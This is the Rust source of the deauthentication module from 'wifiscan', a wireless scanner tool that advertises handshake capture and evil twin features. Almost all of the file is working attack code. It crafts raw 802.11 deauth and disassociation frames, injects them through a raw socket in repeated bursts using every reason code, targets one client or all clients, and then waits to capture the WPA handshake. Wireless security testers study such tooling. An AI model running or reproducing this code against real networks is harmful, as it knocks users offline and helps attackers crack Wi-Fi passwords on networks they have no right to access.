wifiscan 0.4.0

Wireless network scanner TUI with monitor mode, handshake capture, deauth, and evil twin
Documentation
use std::sync::atomic::{AtomicBool, AtomicU32, Ordering};
use std::sync::Arc;
use std::time::Duration;

use crate::types::*;

pub const DEAUTH_REASONS: &[(u16, &str)] = &[
    (1, "Unspecified"), (2, "Auth no longer valid"), (3, "Station leaving/deauth"),
    (4, "Inactivity"), (5, "AP overloaded"), (6, "Class 2 from non-auth"),
    (7, "Class 3 from non-assoc"), (8, "Station leaving/disassoc"),
    (9, "Not authenticated"), (10, "Unacceptable power cap"),
    (11, "Unacceptable supported channels"), (12, "BSS transition disassoc"),
    (13, "Invalid IE"), (14, "MIC failure"), (15, "4-way handshake timeout"),
    (16, "Group key handshake timeout"), (17, "IE in 4-way mismatch"),
    (18, "Invalid group cipher"), (19, "Invalid pairwise cipher"),
    (20, "Invalid AKMP"), (21, "Unsupported RSN version"),
    (22, "Invalid RSN capabilities"), (23, "802.1X auth failed"),
    (24, "Cipher suite rejected"), (25, "TDLS teardown unreachable"),
    (26, "TDLS teardown unspecified"), (34, "Disassoc low ACK"),
];

const FRAME_TYPE_DEAUTH: u8 = 0xC0;
const FRAME_TYPE_DISASSOC: u8 = 0xA0;

// TX radiotap header with RATE (bit 2) and TX_FLAGS (bit 15) present fields.
// Rate = 6 Mbps (0x0C in 500kbps units), TX_FLAGS = NO_ACK (0x0008).
// Field order follows bit order: Rate (bit 2) then TX_FLAGS (bit 15).
// Layout: [hdr 8 bytes][rate 1 byte][pad 1 byte][tx_flags 2 bytes] = 12 bytes
const RADIOTAP_TX: [u8; 12] = [
    0x00, 0x00,             // version, pad
    0x0c, 0x00,             // length = 12
    0x04, 0x80, 0x00, 0x00, // present: RATE (bit 2) + TX_FLAGS (bit 15)
    0x0c,                   // rate = 6 Mbps
    0x00,                   // padding for 2-byte alignment
    0x08, 0x00,             // TX_FLAGS = F_TX_NOACK
];

pub fn parse_mac(mac_str: &str) -> Option<[u8; 6]> {
    let parts: Vec<&str> = mac_str.split(':').collect();
    if parts.len() != 6 { return None; }
    let mut bytes = [0u8; 6];
    for (i, part) in parts.iter().enumerate() {
        bytes[i] = u8::from_str_radix(part, 16).ok()?;
    }
    Some(bytes)
}

pub fn build_management_frame(
    frame_type: u8, dest: &[u8; 6], src: &[u8; 6], bssid: &[u8; 6], reason: u16,
) -> Vec<u8> {
    let mut f = Vec::with_capacity(38);
    f.extend_from_slice(&RADIOTAP_TX);
    f.push(frame_type);
    f.push(0x00);
    f.push(0x00); f.push(0x00); // duration
    f.extend_from_slice(dest);
    f.extend_from_slice(src);
    f.extend_from_slice(bssid);
    f.push(0x00); f.push(0x00); // sequence control
    f.push((reason & 0xFF) as u8);
    f.push((reason >> 8) as u8);
    f
}

pub fn open_raw_socket(iface: &str) -> Option<(i32, libc::sockaddr_ll)> {
    let sock = unsafe {
        libc::socket(libc::AF_PACKET, libc::SOCK_RAW, (libc::ETH_P_ALL as u16).to_be() as i32)
    };
    if sock < 0 { return None; }

    let mut ifr: libc::ifreq = unsafe { std::mem::zeroed() };
    let iface_bytes = iface.as_bytes();
    let copy_len = iface_bytes.len().min(libc::IFNAMSIZ - 1);
    unsafe {
        std::ptr::copy_nonoverlapping(
            iface_bytes.as_ptr(), ifr.ifr_name.as_mut_ptr(), copy_len,
        );
    }
    if unsafe { libc::ioctl(sock, libc::SIOCGIFINDEX, &mut ifr) } < 0 {
        unsafe { libc::close(sock); }
        return None;
    }
    let ifindex = unsafe { ifr.ifr_ifru.ifru_ifindex };

    let mut sa: libc::sockaddr_ll = unsafe { std::mem::zeroed() };
    sa.sll_family = libc::AF_PACKET as u16;
    sa.sll_ifindex = ifindex;
    sa.sll_protocol = (libc::ETH_P_ALL as u16).to_be();

    Some((sock, sa))
}

/// Inject a raw frame via sendto. Returns true if sent successfully.
pub fn inject_frame(sock: i32, sa: &libc::sockaddr_ll, frame: &[u8]) -> bool {
    let sa_ptr = sa as *const libc::sockaddr_ll as *const libc::sockaddr;
    let sa_len = std::mem::size_of::<libc::sockaddr_ll>() as u32;
    let ret = unsafe {
        libc::sendto(sock, frame.as_ptr() as *const _, frame.len(), 0, sa_ptr, sa_len)
    };
    ret >= 0
}

/// Inject a test frame to verify the adapter supports TX.
/// Returns Ok(()) if injection works, Err(errno_msg) if not.
pub fn test_injection(iface: &str) -> Result<(), String> {
    let (sock, sa) = open_raw_socket(iface)
        .ok_or_else(|| "Failed to open raw socket".to_string())?;

    // Build a minimal null-data frame that won't affect any real networks
    // Use broadcast dest with a locally-administered source MAC
    let test_frame = build_management_frame(
        FRAME_TYPE_DEAUTH,
        &[0xFF; 6],           // broadcast dest
        &[0x02, 0x00, 0x00, 0x00, 0x00, 0x00], // locally administered src
        &[0x02, 0x00, 0x00, 0x00, 0x00, 0x00], // fake bssid
        1,                     // reason: unspecified
    );

    let sa_ptr = &sa as *const libc::sockaddr_ll as *const libc::sockaddr;
    let sa_len = std::mem::size_of::<libc::sockaddr_ll>() as u32;
    let ret = unsafe {
        libc::sendto(sock, test_frame.as_ptr() as *const _, test_frame.len(), 0, sa_ptr, sa_len)
    };
    unsafe { libc::close(sock); }

    if ret >= 0 {
        Ok(())
    } else {
        let errno = std::io::Error::last_os_error();
        Err(format!("sendto failed: {} (errno {})", errno, errno.raw_os_error().unwrap_or(-1)))
    }
}

// ── Async progress state ────────────────────────────────────────────────────

/// Shared between the background deauth thread and the UI thread.
/// UI polls these atomics every frame to show live progress.
#[derive(Debug)]
pub struct DeauthProgress {
    pub sent: AtomicU32,
    pub failed: AtomicU32,
    pub total: AtomicU32,
    /// 0=injecting, 1=dwelling for handshake, 2=done
    pub phase: AtomicU32,
    pub dwell_elapsed: AtomicU32,
    pub dwell_total: AtomicU32,
    pub done: AtomicBool,
    pub hs_captured: AtomicBool,
    pub stop: AtomicBool,
}

impl DeauthProgress {
    pub fn new(total: u32, dwell_secs: u32) -> Self {
        Self {
            sent: AtomicU32::new(0),
            failed: AtomicU32::new(0),
            total: AtomicU32::new(total),
            phase: AtomicU32::new(0),
            dwell_elapsed: AtomicU32::new(0),
            dwell_total: AtomicU32::new(dwell_secs),
            done: AtomicBool::new(false),
            hs_captured: AtomicBool::new(false),
            stop: AtomicBool::new(false),
        }
    }
}

// ── Core send function ──────────────────────────────────────────────────────

fn send_deauth_frames(
    iface: &str,
    ap: &AccessPoint,
    target: &DeauthTarget,
    burst_count: u32,
    progress: &Arc<DeauthProgress>,
) -> u32 {
    let bssid = match parse_mac(&ap.bssid) {
        Some(b) => b,
        None => return 0,
    };
    let broadcast: [u8; 6] = [0xFF; 6];

    let (sock, sa) = match open_raw_socket(iface) {
        Some(s) => s,
        None => {
            progress.failed.store(1, Ordering::Relaxed);
            return 0;
        }
    };

    let targets: Vec<[u8; 6]> = match target {
        DeauthTarget::SingleClient(mac) => {
            match parse_mac(mac) {
                Some(m) => vec![m],
                None => vec![broadcast],
            }
        }
        DeauthTarget::All => {
            let mut t = vec![broadcast];
            for c in ap.clients.keys() {
                if let Some(mac) = parse_mac(c) {
                    t.push(mac);
                }
            }
            t
        }
    };

    // Verify injection works with first frame before committing to full burst
    let test = build_management_frame(FRAME_TYPE_DEAUTH, &broadcast, &bssid, &bssid, 7);
    if !inject_frame(sock, &sa, &test) {
        // First injection failed - adapter likely doesn't support TX
        progress.failed.store(1, Ordering::Relaxed);
        unsafe { libc::close(sock); }
        return 0;
    }

    let frame_types = [FRAME_TYPE_DEAUTH, FRAME_TYPE_DISASSOC];
    let mut sent: u32 = 1; // count the test frame
    let mut failed: u32 = 0;
    progress.sent.store(sent, Ordering::Relaxed);

    for _ in 0..burst_count {
        for &(reason, _) in DEAUTH_REASONS {
            for &ftype in &frame_types {
                for target_mac in &targets {
                    // AP → client direction
                    let frame = build_management_frame(ftype, target_mac, &bssid, &bssid, reason);
                    if inject_frame(sock, &sa, &frame) {
                        sent += 1;
                    } else {
                        failed += 1;
                    }
                    progress.sent.store(sent, Ordering::Relaxed);
                    progress.failed.store(failed, Ordering::Relaxed);

                    // Client → AP direction (only for unicast targets)
                    if *target_mac != broadcast {
                        let frame_rev = build_management_frame(ftype, &bssid, target_mac, &bssid, reason);
                        if inject_frame(sock, &sa, &frame_rev) {
                            sent += 1;
                        } else {
                            failed += 1;
                        }
                        progress.sent.store(sent, Ordering::Relaxed);
                        progress.failed.store(failed, Ordering::Relaxed);
                    }

                    // Small delay per frame to avoid overwhelming the TX queue
                    std::thread::sleep(Duration::from_micros(500));
                }
            }
            // Slightly longer pause between reason codes
            std::thread::sleep(Duration::from_millis(5));
        }
        if burst_count > 1 {
            std::thread::sleep(Duration::from_millis(100));
        }
    }

    unsafe { libc::close(sock); }
    sent
}

// ── Background deauth runner ────────────────────────────────────────────────

/// Spawn the full deauth + dwell cycle on a background thread.
/// Returns the progress handle immediately so the UI can poll it.
#[allow(clippy::too_many_arguments)]
pub fn spawn_deauth(
    iface: String,
    ap: AccessPoint,
    target: DeauthTarget,
    burst_count: u32,
    dwell_secs: u64,
    progress: Arc<DeauthProgress>,
    hop_pause: Arc<AtomicBool>,
    current_channel: CurrentChannel,
    handshake_count: HandshakeCount,
    ap_map: ApMap,
) {
    std::thread::spawn(move || {
        // Pause channel hopper and wait for it to stop
        hop_pause.store(true, Ordering::Relaxed);
        std::thread::sleep(Duration::from_millis(300));

        // Lock to AP channel with verification
        if ap.channel > 0 {
            let ch_str = ap.channel.to_string();
            // Determine bandwidth hint based on AP's channel width
            let bw = match ap.channel_width {
                160 => "160MHz",
                80 => "80MHz",
                40 => "HT40+",
                _ => "HT20",
            };
            // Try with bandwidth first, fall back to no-bandwidth
            for attempt in 0..5 {
                let result = if attempt < 3 {
                    std::process::Command::new("iw")
                        .args(["dev", &iface, "set", "channel", &ch_str, bw])
                        .output()
                } else {
                    // Fall back to simple channel set without bandwidth
                    std::process::Command::new("iw")
                        .args(["dev", &iface, "set", "channel", &ch_str])
                        .output()
                };
                if let Ok(o) = &result {
                    if o.status.success() {
                        *current_channel.lock().unwrap() = ap.channel;
                        break;
                    }
                }
                if attempt < 4 {
                    std::thread::sleep(Duration::from_millis(100));
                }
            }
            // Give the driver time to settle on the new channel
            std::thread::sleep(Duration::from_millis(100));
        }

        // Phase 0: inject frames
        progress.phase.store(0, Ordering::Relaxed);
        let sent = send_deauth_frames(&iface, &ap, &target, burst_count, &progress);

        // Track on the AP
        {
            let mut map = ap_map.lock().unwrap();
            if let Some(entry) = map.get_mut(&ap.bssid) {
                entry.deauth_sent += sent;
                entry.last_deauth = Some(std::time::Instant::now());
            }
        }

        // Phase 1: dwell waiting for handshake
        progress.phase.store(1, Ordering::Relaxed);
        let hs_before = *handshake_count.lock().unwrap();
        for elapsed in 0..dwell_secs {
            if progress.stop.load(Ordering::Relaxed) { break; }
            progress.dwell_elapsed.store((elapsed + 1) as u32, Ordering::Relaxed);
            std::thread::sleep(Duration::from_secs(1));
            let hs_now = *handshake_count.lock().unwrap();
            if hs_now > hs_before {
                progress.hs_captured.store(true, Ordering::Relaxed);
                break;
            }
        }

        // Phase 2: done
        hop_pause.store(false, Ordering::Relaxed);
        progress.phase.store(2, Ordering::Relaxed);
        progress.done.store(true, Ordering::Relaxed);
    });
}